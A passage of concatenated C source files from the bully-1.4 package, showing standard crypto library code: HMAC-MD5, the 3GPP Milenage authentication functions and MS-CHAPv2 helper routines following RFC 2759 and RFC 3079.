bully-1.4-00/src/crypto/md5.c000077500000000000000000000054221361530463600156770ustar00rootroot00000000000000/* * MD5 hash implementation and interface functions * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "md5.h" #include "crypto.h" /** * hmac_md5_vector - HMAC-MD5 over data vector (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash (16 bytes) * Returns: 0 on success, -1 on failure */ int hmac_md5_vector(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { u8 k_pad[64]; /* padding - key XORd with ipad/opad */ u8 tk[16]; const u8 *_addr[6]; size_t i, _len[6]; if (num_elem > 5) { /* * Fixed limit on the number of fragments to avoid having to * allocate memory (which could fail). */ return -1; } /* if key is longer than 64 bytes reset it to key = MD5(key) */ if (key_len > 64) { if (md5_vector(1, &key, &key_len, tk)) return -1; key = tk; key_len = 16; } /* the HMAC_MD5 transform looks like: * * MD5(K XOR opad, MD5(K XOR ipad, text)) * * where K is an n byte key * ipad is the byte 0x36 repeated 64 times * opad is the byte 0x5c repeated 64 times * and text is the data being protected */ /* start out by storing key in ipad */ os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with ipad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x36; /* perform inner MD5 */ _addr[0] = k_pad; _len[0] = 64; for (i = 0; i < num_elem; i++) { _addr[i + 1] = addr[i]; _len[i + 1] = len[i]; } if (md5_vector(1 + num_elem, _addr, _len, mac)) return -1; os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with opad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x5c; /* perform outer MD5 */ _addr[0] = k_pad; _len[0] = 64; _addr[1] = mac; _len[1] = MD5_MAC_LEN; return md5_vector(2, _addr, _len, mac); } /** * hmac_md5 - HMAC-MD5 over data buffer (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @data: Pointers to the data area * @data_len: Length of the data area * @mac: Buffer for the hash (16 bytes) * Returns: 0 on success, -1 on failure */ int hmac_md5(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac) { return hmac_md5_vector(key, key_len, 1, &data, &data_len, mac); } bully-1.4-00/src/crypto/md5.h000077500000000000000000000021651361530463600157050ustar00rootroot00000000000000/* * MD5 hash implementation and interface functions * Copyright (c) 2003-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef MD5_H #define MD5_H #define MD5_MAC_LEN 16 int hmac_md5_vector(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); int hmac_md5(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac); #ifdef CONFIG_FIPS int hmac_md5_vector_non_fips_allow(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); int hmac_md5_non_fips_allow(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac); #else /* CONFIG_FIPS */ #define hmac_md5_vector_non_fips_allow hmac_md5_vector #define hmac_md5_non_fips_allow hmac_md5 #endif /* CONFIG_FIPS */ #endif /* MD5_H */ bully-1.4-00/src/crypto/md5_i.h000077500000000000000000000013371361530463600162150ustar00rootroot00000000000000/* * MD5 internal definitions * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef MD5_I_H #define MD5_I_H struct MD5Context { u32 buf[4]; u32 bits[2]; u8 in[64]; }; void MD5Init(struct MD5Context *context); void MD5Update(struct MD5Context *context, unsigned char const *buf, unsigned len); void MD5Final(unsigned char digest[16], struct MD5Context *context); #endif /* MD5_I_H */ bully-1.4-00/src/crypto/milenage.c000077500000000000000000000233071361530463600167750ustar00rootroot00000000000000/* * 3GPP AKA - Milenage algorithm (3GPP TS 35.205, .206, .207, .208) * Copyright (c) 2006-2007 * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file implements an example authentication algorithm defined for 3GPP * AKA. This can be used to implement a simple HLR/AuC into hlr_auc_gw to allow * EAP-AKA to be tested properly with real USIM cards. * * This implementations assumes that the r1..r5 and c1..c5 constants defined in * TS 35.206 are used, i.e., r1=64, r2=0, r3=32, r4=64, r5=96, c1=00..00, * c2=00..01, c3=00..02, c4=00..04, c5=00..08. The block cipher is assumed to * be AES (Rijndael). */ #include "includes.h" #include "common.h" #include "crypto/aes_wrap.h" #include "milenage.h" /** * milenage_f1 - Milenage f1 and f1* algorithms * @opc: OPc = 128-bit value derived from OP and K * @k: K = 128-bit subscriber key * @_rand: RAND = 128-bit random challenge * @sqn: SQN = 48-bit sequence number * @amf: AMF = 16-bit authentication management field * @mac_a: Buffer for MAC-A = 64-bit network authentication code, or %NULL * @mac_s: Buffer for MAC-S = 64-bit resync authentication code, or %NULL * Returns: 0 on success, -1 on failure */ int milenage_f1(const u8 *opc, const u8 *k, const u8 *_rand, const u8 *sqn, const u8 *amf, u8 *mac_a, u8 *mac_s) { u8 tmp1[16], tmp2[16], tmp3[16]; int i; /* tmp1 = TEMP = E_K(RAND XOR OP_C) */ for (i = 0; i < 16; i++) tmp1[i] = _rand[i] ^ opc[i]; if (aes_128_encrypt_block(k, tmp1, tmp1)) return -1; /* tmp2 = IN1 = SQN || AMF || SQN || AMF */ os_memcpy(tmp2, sqn, 6); os_memcpy(tmp2 + 6, amf, 2); os_memcpy(tmp2 + 8, tmp2, 8); /* OUT1 = E_K(TEMP XOR rot(IN1 XOR OP_C, r1) XOR c1) XOR OP_C */ /* rotate (tmp2 XOR OP_C) by r1 (= 0x40 = 8 bytes) */ for (i = 0; i < 16; i++) tmp3[(i + 8) % 16] = tmp2[i] ^ opc[i]; /* XOR with TEMP = E_K(RAND XOR OP_C) */ for (i = 0; i < 16; i++) tmp3[i] ^= tmp1[i]; /* XOR with c1 (= ..00, i.e., NOP) */ /* f1 || f1* = E_K(tmp3) XOR OP_c */ if (aes_128_encrypt_block(k, tmp3, tmp1)) return -1; for (i = 0; i < 16; i++) tmp1[i] ^= opc[i]; if (mac_a) os_memcpy(mac_a, tmp1, 8); /* f1 */ if (mac_s) os_memcpy(mac_s, tmp1 + 8, 8); /* f1* */ return 0; } /** * milenage_f2345 - Milenage f2, f3, f4, f5, f5* algorithms * @opc: OPc = 128-bit value derived from OP and K * @k: K = 128-bit subscriber key * @_rand: RAND = 128-bit random challenge * @res: Buffer for RES = 64-bit signed response (f2), or %NULL * @ck: Buffer for CK = 128-bit confidentiality key (f3), or %NULL * @ik: Buffer for IK = 128-bit integrity key (f4), or %NULL * @ak: Buffer for AK = 48-bit anonymity key (f5), or %NULL * @akstar: Buffer for AK = 48-bit anonymity key (f5*), or %NULL * Returns: 0 on success, -1 on failure */ int milenage_f2345(const u8 *opc, const u8 *k, const u8 *_rand, u8 *res, u8 *ck, u8 *ik, u8 *ak, u8 *akstar) { u8 tmp1[16], tmp2[16], tmp3[16]; int i; /* tmp2 = TEMP = E_K(RAND XOR OP_C) */ for (i = 0; i < 16; i++) tmp1[i] = _rand[i] ^ opc[i]; if (aes_128_encrypt_block(k, tmp1, tmp2)) return -1; /* OUT2 = E_K(rot(TEMP XOR OP_C, r2) XOR c2) XOR OP_C */ /* OUT3 = E_K(rot(TEMP XOR OP_C, r3) XOR c3) XOR OP_C */ /* OUT4 = E_K(rot(TEMP XOR OP_C, r4) XOR c4) XOR OP_C */ /* OUT5 = E_K(rot(TEMP XOR OP_C, r5) XOR c5) XOR OP_C */ /* f2 and f5 */ /* rotate by r2 (= 0, i.e., NOP) */ for (i = 0; i < 16; i++) tmp1[i] = tmp2[i] ^ opc[i]; tmp1[15] ^= 1; /* XOR c2 (= ..01) */ /* f5 || f2 = E_K(tmp1) XOR OP_c */ if (aes_128_encrypt_block(k, tmp1, tmp3)) return -1; for (i = 0; i < 16; i++) tmp3[i] ^= opc[i]; if (res) os_memcpy(res, tmp3 + 8, 8); /* f2 */ if (ak) os_memcpy(ak, tmp3, 6); /* f5 */ /* f3 */ if (ck) { /* rotate by r3 = 0x20 = 4 bytes */ for (i = 0; i < 16; i++) tmp1[(i + 12) % 16] = tmp2[i] ^ opc[i]; tmp1[15] ^= 2; /* XOR c3 (= ..02) */ if (aes_128_encrypt_block(k, tmp1, ck)) return -1; for (i = 0; i < 16; i++) ck[i] ^= opc[i]; } /* f4 */ if (ik) { /* rotate by r4 = 0x40 = 8 bytes */ for (i = 0; i < 16; i++) tmp1[(i + 8) % 16] = tmp2[i] ^ opc[i]; tmp1[15] ^= 4; /* XOR c4 (= ..04) */ if (aes_128_encrypt_block(k, tmp1, ik)) return -1; for (i = 0; i < 16; i++) ik[i] ^= opc[i]; } /* f5* */ if (akstar) { /* rotate by r5 = 0x60 = 12 bytes */ for (i = 0; i < 16; i++) tmp1[(i + 4) % 16] = tmp2[i] ^ opc[i]; tmp1[15] ^= 8; /* XOR c5 (= ..08) */ if (aes_128_encrypt_block(k, tmp1, tmp1)) return -1; for (i = 0; i < 6; i++) akstar[i] = tmp1[i] ^ opc[i]; } return 0; } /** * milenage_generate - Generate AKA AUTN,IK,CK,RES * @opc: OPc = 128-bit operator variant algorithm configuration field (encr.) * @amf: AMF = 16-bit authentication management field * @k: K = 128-bit subscriber key * @sqn: SQN = 48-bit sequence number * @_rand: RAND = 128-bit random challenge * @autn: Buffer for AUTN = 128-bit authentication token * @ik: Buffer for IK = 128-bit integrity key (f4), or %NULL * @ck: Buffer for CK = 128-bit confidentiality key (f3), or %NULL * @res: Buffer for RES = 64-bit signed response (f2), or %NULL * @res_len: Max length for res; set to used length or 0 on failure */ void milenage_generate(const u8 *opc, const u8 *amf, const u8 *k, const u8 *sqn, const u8 *_rand, u8 *autn, u8 *ik, u8 *ck, u8 *res, size_t *res_len) { int i; u8 mac_a[8], ak[6]; if (*res_len < 8) { *res_len = 0; return; } if (milenage_f1(opc, k, _rand, sqn, amf, mac_a, NULL) || milenage_f2345(opc, k, _rand, res, ck, ik, ak, NULL)) { *res_len = 0; return; } *res_len = 8; /* AUTN = (SQN ^ AK) || AMF || MAC */ for (i = 0; i < 6; i++) autn[i] = sqn[i] ^ ak[i]; os_memcpy(autn + 6, amf, 2); os_memcpy(autn + 8, mac_a, 8); } /** * milenage_auts - Milenage AUTS validation * @opc: OPc = 128-bit operator variant algorithm configuration field (encr.) * @k: K = 128-bit subscriber key * @_rand: RAND = 128-bit random challenge * @auts: AUTS = 112-bit authentication token from client * @sqn: Buffer for SQN = 48-bit sequence number * Returns: 0 = success (sqn filled), -1 on failure */ int milenage_auts(const u8 *opc, const u8 *k, const u8 *_rand, const u8 *auts, u8 *sqn) { u8 amf[2] = { 0x00, 0x00 }; /* TS 33.102 v7.0.0, 6.3.3 */ u8 ak[6], mac_s[8]; int i; if (milenage_f2345(opc, k, _rand, NULL, NULL, NULL, NULL, ak)) return -1; for (i = 0; i < 6; i++) sqn[i] = auts[i] ^ ak[i]; if (milenage_f1(opc, k, _rand, sqn, amf, NULL, mac_s) || memcmp(mac_s, auts + 6, 8) != 0) return -1; return 0; } /** * gsm_milenage - Generate GSM-Milenage (3GPP TS 55.205) authentication triplet * @opc: OPc = 128-bit operator variant algorithm configuration field (encr.) * @k: K = 128-bit subscriber key * @_rand: RAND = 128-bit random challenge * @sres: Buffer for SRES = 32-bit SRES * @kc: Buffer for Kc = 64-bit Kc * Returns: 0 on success, -1 on failure */ int gsm_milenage(const u8 *opc, const u8 *k, const u8 *_rand, u8 *sres, u8 *kc) { u8 res[8], ck[16], ik[16]; int i; if (milenage_f2345(opc, k, _rand, res, ck, ik, NULL, NULL)) return -1; for (i = 0; i < 8; i++) kc[i] = ck[i] ^ ck[i + 8] ^ ik[i] ^ ik[i + 8]; #ifdef GSM_MILENAGE_ALT_SRES os_memcpy(sres, res, 4); #else /* GSM_MILENAGE_ALT_SRES */ for (i = 0; i < 4; i++) sres[i] = res[i] ^ res[i + 4]; #endif /* GSM_MILENAGE_ALT_SRES */ return 0; } /** * milenage_generate - Generate AKA AUTN,IK,CK,RES * @opc: OPc = 128-bit operator variant algorithm configuration field (encr.) * @k: K = 128-bit subscriber key * @sqn: SQN = 48-bit sequence number * @_rand: RAND = 128-bit random challenge * @autn: AUTN = 128-bit authentication token * @ik: Buffer for IK = 128-bit integrity key (f4), or %NULL * @ck: Buffer for CK = 128-bit confidentiality key (f3), or %NULL * @res: Buffer for RES = 64-bit signed response (f2), or %NULL * @res_len: Variable that will be set to RES length * @auts: 112-bit buffer for AUTS * Returns: 0 on success, -1 on failure, or -2 on synchronization failure */ int milenage_check(const u8 *opc, const u8 *k, const u8 *sqn, const u8 *_rand, const u8 *autn, u8 *ik, u8 *ck, u8 *res, size_t *res_len, u8 *auts) { int i; u8 mac_a[8], ak[6], rx_sqn[6]; const u8 *amf; wpa_hexdump(MSG_DEBUG, "Milenage: AUTN", autn, 16); wpa_hexdump(MSG_DEBUG, "Milenage: RAND", _rand, 16); if (milenage_f2345(opc, k, _rand, res, ck, ik, ak, NULL)) return -1; *res_len = 8; wpa_hexdump_key(MSG_DEBUG, "Milenage: RES", res, *res_len); wpa_hexdump_key(MSG_DEBUG, "Milenage: CK", ck, 16); wpa_hexdump_key(MSG_DEBUG, "Milenage: IK", ik, 16); wpa_hexdump_key(MSG_DEBUG, "Milenage: AK", ak, 6); /* AUTN = (SQN ^ AK) || AMF || MAC */ for (i = 0; i < 6; i++) rx_sqn[i] = autn[i] ^ ak[i]; wpa_hexdump(MSG_DEBUG, "Milenage: SQN", rx_sqn, 6); if (os_memcmp(rx_sqn, sqn, 6) <= 0) { u8 auts_amf[2] = { 0x00, 0x00 }; /* TS 33.102 v7.0.0, 6.3.3 */ if (milenage_f2345(opc, k, _rand, NULL, NULL, NULL, NULL, ak)) return -1; wpa_hexdump_key(MSG_DEBUG, "Milenage: AK*", ak, 6); for (i = 0; i < 6; i++) auts[i] = sqn[i] ^ ak[i]; if (milenage_f1(opc, k, _rand, sqn, auts_amf, NULL, auts + 6)) return -1; wpa_hexdump(MSG_DEBUG, "Milenage: AUTS", auts, 14); return -2; } amf = autn + 6; wpa_hexdump(MSG_DEBUG, "Milenage: AMF", amf, 2); if (milenage_f1(opc, k, _rand, rx_sqn, amf, mac_a, NULL)) return -1; wpa_hexdump(MSG_DEBUG, "Milenage: MAC_A", mac_a, 8); if (os_memcmp(mac_a, autn + 8, 8) != 0) { wpa_printf(MSG_DEBUG, "Milenage: MAC mismatch"); wpa_hexdump(MSG_DEBUG, "Milenage: Received MAC_A", autn + 8, 8); return -1; } return 0; } bully-1.4-00/src/crypto/milenage.h000077500000000000000000000023261361530463600170000ustar00rootroot00000000000000/* * UMTS AKA - Milenage algorithm (3GPP TS 35.205, .206, .207, .208) * Copyright (c) 2006-2007 * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef MILENAGE_H #define MILENAGE_H void milenage_generate(const u8 *opc, const u8 *amf, const u8 *k, const u8 *sqn, const u8 *_rand, u8 *autn, u8 *ik, u8 *ck, u8 *res, size_t *res_len); int milenage_auts(const u8 *opc, const u8 *k, const u8 *_rand, const u8 *auts, u8 *sqn); int gsm_milenage(const u8 *opc, const u8 *k, const u8 *_rand, u8 *sres, u8 *kc); int milenage_check(const u8 *opc, const u8 *k, const u8 *sqn, const u8 *_rand, const u8 *autn, u8 *ik, u8 *ck, u8 *res, size_t *res_len, u8 *auts); int milenage_f1(const u8 *opc, const u8 *k, const u8 *_rand, const u8 *sqn, const u8 *amf, u8 *mac_a, u8 *mac_s); int milenage_f2345(const u8 *opc, const u8 *k, const u8 *_rand, u8 *res, u8 *ck, u8 *ik, u8 *ak, u8 *akstar); #endif /* MILENAGE_H */ bully-1.4-00/src/crypto/ms_funcs.c000077500000000000000000000353501361530463600170320ustar00rootroot00000000000000/* * WPA Supplicant / shared MSCHAPV2 helper functions / RFC 2433 / RFC 2759 * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha1.h" #include "ms_funcs.h" #include "crypto.h" /** * challenge_hash - ChallengeHash() - RFC 2759, Sect. 8.2 * @peer_challenge: 16-octet PeerChallenge (IN) * @auth_challenge: 16-octet AuthenticatorChallenge (IN) * @username: 0-to-256-char UserName (IN) * @username_len: Length of username * @challenge: 8-octet Challenge (OUT) * Returns: 0 on success, -1 on failure */ static int challenge_hash(const u8 *peer_challenge, const u8 *auth_challenge, const u8 *username, size_t username_len, u8 *challenge) { u8 hash[SHA1_MAC_LEN]; const unsigned char *addr[3]; size_t len[3]; addr[0] = peer_challenge; len[0] = 16; addr[1] = auth_challenge; len[1] = 16; addr[2] = username; len[2] = username_len; if (sha1_vector(3, addr, len, hash)) return -1; os_memcpy(challenge, hash, 8); return 0; } /** * nt_password_hash - NtPasswordHash() - RFC 2759, Sect. 8.3 * @password: 0-to-256-unicode-char Password (IN; ASCII) * @password_len: Length of password * @password_hash: 16-octet PasswordHash (OUT) * Returns: 0 on success, -1 on failure */ int nt_password_hash(const u8 *password, size_t password_len, u8 *password_hash) { u8 buf[512], *pos; size_t i, len; if (password_len > 256) password_len = 256; /* Convert password into unicode */ for (i = 0; i < password_len; i++) { buf[2 * i] = password[i]; buf[2 * i + 1] = 0; } len = password_len * 2; pos = buf; return md4_vector(1, (const u8 **) &pos, &len, password_hash); } /** * hash_nt_password_hash - HashNtPasswordHash() - RFC 2759, Sect. 8.4 * @password_hash: 16-octet PasswordHash (IN) * @password_hash_hash: 16-octet PasswordHashHash (OUT) * Returns: 0 on success, -1 on failure */ int hash_nt_password_hash(const u8 *password_hash, u8 *password_hash_hash) { size_t len = 16; return md4_vector(1, &password_hash, &len, password_hash_hash); } /** * challenge_response - ChallengeResponse() - RFC 2759, Sect. 8.5 * @challenge: 8-octet Challenge (IN) * @password_hash: 16-octet PasswordHash (IN) * @response: 24-octet Response (OUT) */ void challenge_response(const u8 *challenge, const u8 *password_hash, u8 *response) { u8 zpwd[7]; des_encrypt(challenge, password_hash, response); des_encrypt(challenge, password_hash + 7, response + 8); zpwd[0] = password_hash[14]; zpwd[1] = password_hash[15]; os_memset(zpwd + 2, 0, 5); des_encrypt(challenge, zpwd, response + 16); } /** * generate_nt_response - GenerateNTResponse() - RFC 2759, Sect. 8.1 * @auth_challenge: 16-octet AuthenticatorChallenge (IN) * @peer_challenge: 16-octet PeerChallenge (IN) * @username: 0-to-256-char UserName (IN) * @username_len: Length of username * @password: 0-to-256-unicode-char Password (IN; ASCII) * @password_len: Length of password * @response: 24-octet Response (OUT) * Returns: 0 on success, -1 on failure */ int generate_nt_response(const u8 *auth_challenge, const u8 *peer_challenge, const u8 *username, size_t username_len, const u8 *password, size_t password_len, u8 *response) { u8 challenge[8]; u8 password_hash[16]; challenge_hash(peer_challenge, auth_challenge, username, username_len, challenge); if (nt_password_hash(password, password_len, password_hash)) return -1; challenge_response(challenge, password_hash, response); return 0; } /** * generate_nt_response_pwhash - GenerateNTResponse() - RFC 2759, Sect. 8.1 * @auth_challenge: 16-octet AuthenticatorChallenge (IN) * @peer_challenge: 16-octet PeerChallenge (IN) * @username: 0-to-256-char UserName (IN) * @username_len: Length of username * @password_hash: 16-octet PasswordHash (IN) * @response: 24-octet Response (OUT) * Returns: 0 on success, -1 on failure */ int generate_nt_response_pwhash(const u8 *auth_challenge, const u8 *peer_challenge, const u8 *username, size_t username_len, const u8 *password_hash, u8 *response) { u8 challenge[8]; if (challenge_hash(peer_challenge, auth_challenge, username, username_len, challenge)) return -1; challenge_response(challenge, password_hash, response); return 0; } /** * generate_authenticator_response_pwhash - GenerateAuthenticatorResponse() - RFC 2759, Sect. 8.7 * @password_hash: 16-octet PasswordHash (IN) * @nt_response: 24-octet NT-Response (IN) * @peer_challenge: 16-octet PeerChallenge (IN) * @auth_challenge: 16-octet AuthenticatorChallenge (IN) * @username: 0-to-256-char UserName (IN) * @username_len: Length of username * @response: 20-octet AuthenticatorResponse (OUT) (note: this value is usually * encoded as a 42-octet ASCII string (S=hexdump_of_response) * Returns: 0 on success, -1 on failure */ int generate_authenticator_response_pwhash( const u8 *password_hash, const u8 *peer_challenge, const u8 *auth_challenge, const u8 *username, size_t username_len, const u8 *nt_response, u8 *response) { static const u8 magic1[39] = { 0x4D, 0x61, 0x67, 0x69, 0x63, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x74, 0x6F, 0x20, 0x63, 0x6C, 0x69, 0x65, 0x6E, 0x74, 0x20, 0x73, 0x69, 0x67, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x61, 0x6E, 0x74 }; static const u8 magic2[41] = { 0x50, 0x61, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x6D, 0x61, 0x6B, 0x65, 0x20, 0x69, 0x74, 0x20, 0x64, 0x6F, 0x20, 0x6D, 0x6F, 0x72, 0x65, 0x20, 0x74, 0x68, 0x61, 0x6E, 0x20, 0x6F, 0x6E, 0x65, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E }; u8 password_hash_hash[16], challenge[8]; const unsigned char *addr1[3]; const size_t len1[3] = { 16, 24, sizeof(magic1) }; const unsigned char *addr2[3]; const size_t len2[3] = { SHA1_MAC_LEN, 8, sizeof(magic2) }; addr1[0] = password_hash_hash; addr1[1] = nt_response; addr1[2] = magic1; addr2[0] = response; addr2[1] = challenge; addr2[2] = magic2; if (hash_nt_password_hash(password_hash, password_hash_hash)) return -1; if (sha1_vector(3, addr1, len1, response)) return -1; challenge_hash(peer_challenge, auth_challenge, username, username_len, challenge); return sha1_vector(3, addr2, len2, response); } /** * generate_authenticator_response - GenerateAuthenticatorResponse() - RFC 2759, Sect. 8.7 * @password: 0-to-256-unicode-char Password (IN; ASCII) * @password_len: Length of password * @nt_response: 24-octet NT-Response (IN) * @peer_challenge: 16-octet PeerChallenge (IN) * @auth_challenge: 16-octet AuthenticatorChallenge (IN) * @username: 0-to-256-char UserName (IN) * @username_len: Length of username * @response: 20-octet AuthenticatorResponse (OUT) (note: this value is usually * encoded as a 42-octet ASCII string (S=hexdump_of_response) * Returns: 0 on success, -1 on failure */ int generate_authenticator_response(const u8 *password, size_t password_len, const u8 *peer_challenge, const u8 *auth_challenge, const u8 *username, size_t username_len, const u8 *nt_response, u8 *response) { u8 password_hash[16]; if (nt_password_hash(password, password_len, password_hash)) return -1; return generate_authenticator_response_pwhash( password_hash, peer_challenge, auth_challenge, username, username_len, nt_response, response); } /** * nt_challenge_response - NtChallengeResponse() - RFC 2433, Sect. A.5 * @challenge: 8-octet Challenge (IN) * @password: 0-to-256-unicode-char Password (IN; ASCII) * @password_len: Length of password * @response: 24-octet Response (OUT) * Returns: 0 on success, -1 on failure */ int nt_challenge_response(const u8 *challenge, const u8 *password, size_t password_len, u8 *response) { u8 password_hash[16]; if (nt_password_hash(password, password_len, password_hash)) return -1; challenge_response(challenge, password_hash, response); return 0; } /** * get_master_key - GetMasterKey() - RFC 3079, Sect. 3.4 * @password_hash_hash: 16-octet PasswordHashHash (IN) * @nt_response: 24-octet NTResponse (IN) * @master_key: 16-octet MasterKey (OUT) * Returns: 0 on success, -1 on failure */ int get_master_key(const u8 *password_hash_hash, const u8 *nt_response, u8 *master_key) { static const u8 magic1[27] = { 0x54, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x4d, 0x50, 0x50, 0x45, 0x20, 0x4d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x20, 0x4b, 0x65, 0x79 }; const unsigned char *addr[3]; const size_t len[3] = { 16, 24, sizeof(magic1) }; u8 hash[SHA1_MAC_LEN]; addr[0] = password_hash_hash; addr[1] = nt_response; addr[2] = magic1; if (sha1_vector(3, addr, len, hash)) return -1; os_memcpy(master_key, hash, 16); return 0; } /** * get_asymetric_start_key - GetAsymetricStartKey() - RFC 3079, Sect. 3.4 * @master_key: 16-octet MasterKey (IN) * @session_key: 8-to-16 octet SessionKey (OUT) * @session_key_len: SessionKeyLength (Length of session_key) (IN) * @is_send: IsSend (IN, BOOLEAN) * @is_server: IsServer (IN, BOOLEAN) * Returns: 0 on success, -1 on failure */ int get_asymetric_start_key(const u8 *master_key, u8 *session_key, size_t session_key_len, int is_send, int is_server) { static const u8 magic2[84] = { 0x4f, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x20, 0x73, 0x69, 0x64, 0x65, 0x2c, 0x20, 0x74, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x6e, 0x64, 0x20, 0x6b, 0x65, 0x79, 0x3b, 0x20, 0x6f, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x73, 0x69, 0x64, 0x65, 0x2c, 0x20, 0x69, 0x74, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x72, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x20, 0x6b, 0x65, 0x79, 0x2e }; static const u8 magic3[84] = { 0x4f, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x20, 0x73, 0x69, 0x64, 0x65, 0x2c, 0x20, 0x74, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x72, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x20, 0x6b, 0x65, 0x79, 0x3b, 0x20, 0x6f, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x73, 0x69, 0x64, 0x65, 0x2c, 0x20, 0x69, 0x74, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x6e, 0x64, 0x20, 0x6b, 0x65, 0x79, 0x2e }; static const u8 shs_pad1[40] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; static const u8 shs_pad2[40] = { 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2 }; u8 digest[SHA1_MAC_LEN]; const unsigned char *addr[4]; const size_t len[4] = { 16, 40, 84, 40 }; addr[0] = master_key; addr[1] = shs_pad1; if (is_send) { addr[2] = is_server ? magic3 : magic2; } else { addr[2] = is_server ? magic2 : magic3; } addr[3] = shs_pad2; if (sha1_vector(4, addr, len, digest)) return -1; if (session_key_len > SHA1_MAC_LEN) session_key_len = SHA1_MAC_LEN; os_memcpy(session_key, digest, session_key_len); return 0; } #define PWBLOCK_LEN 516 /** * encrypt_pw_block_with_password_hash - EncryptPwBlockWithPasswordHash() - RFC 2759, Sect. 8.10 * @password: 0-to-256-unicode-char Password (IN; ASCII) * @password_len: Length of password * @password_hash: 16-octet PasswordHash (IN) * @pw_block: 516-byte PwBlock (OUT) * Returns: 0 on success, -1 on failure */ int encrypt_pw_block_with_password_hash( const u8 *password, size_t password_len, const u8 *password_hash, u8 *pw_block) { size_t i, offset; u8 *pos; if (password_len > 256) return -1; os_memset(pw_block, 0, PWBLOCK_LEN); offset = (256 - password_len) * 2; if (os_get_random(pw_block, offset) < 0) return -1; for (i = 0; i < password_len; i++) pw_block[offset + i * 2] = password[i]; /* * PasswordLength is 4 octets, but since the maximum password length is * 256, only first two (in little endian byte order) can be non-zero. */ pos = &pw_block[2 * 256]; WPA_PUT_LE16(pos, password_len * 2); rc4_skip(password_hash, 16, 0, pw_block, PWBLOCK_LEN); return 0; } /** * new_password_encrypted_with_old_nt_password_hash - NewPasswordEncryptedWithOldNtPasswordHash() - RFC 2759, Sect. 8.9 * @new_password: 0-to-256-unicode-char NewPassword (IN; ASCII) * @new_password_len: Length of new_password * @old_password: 0-to-256-unicode-char OldPassword (IN; ASCII) * 